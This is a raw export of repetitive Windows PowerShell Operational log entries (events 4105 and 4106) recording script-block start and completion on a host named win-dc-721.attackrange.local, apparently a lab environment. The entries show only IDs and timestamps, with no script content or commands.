User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468407
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468406
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468405
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468404
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468403
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468402
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468401
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468400
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468399
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468398
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468397
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468396
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468395
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468394
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468393
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468392
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468391
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468390
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468389
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468388
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468387
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468386
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468385
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468384
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468383
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468382
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468381
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468380
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468379
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468378
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468377
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468376
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468375
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468374
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468373
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468372
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468371
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468644
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468643
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468642
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468641
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468640
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468639
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468638
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468637
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468636
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468635
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468634
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468633
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468632
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468631
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468630
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468629
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468628
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468627
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468626
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:13 PM
